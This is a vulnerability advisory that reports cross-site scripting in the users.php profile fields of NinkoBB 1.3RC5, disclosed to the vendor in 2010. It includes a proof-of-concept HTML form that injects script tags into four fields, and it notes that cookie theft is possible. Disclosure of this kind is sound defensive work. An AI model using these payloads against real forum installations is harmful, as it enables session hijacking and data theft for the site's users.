NinkoBB 1.3RC5 Cross Site Scripting

`Vulnerability ID: HTB22652  
Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html  
Product: NinkoBB   
Vendor: NinkoBB ( http://ninkobb.com )   
Vulnerable Version: 1.3RC5 and probably prior versions   
Vendor Notification: 13 October 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/users.php?a=profile" method="post" />  
<input type="hidden" name="first_name" value=""><script>alert('XSS1');</script>">  
<input type="hidden" name="last_name" value=""><script>alert('XSS2');</script>">  
<input type="hidden" name="msn" value=""><script>alert('XSS3');</script>">  
<input type="hidden" name="aim" value=""><script>alert('XSS4');</script>">  
<input type="submit" name="profile" value="submit">  
</form>  
  
  
`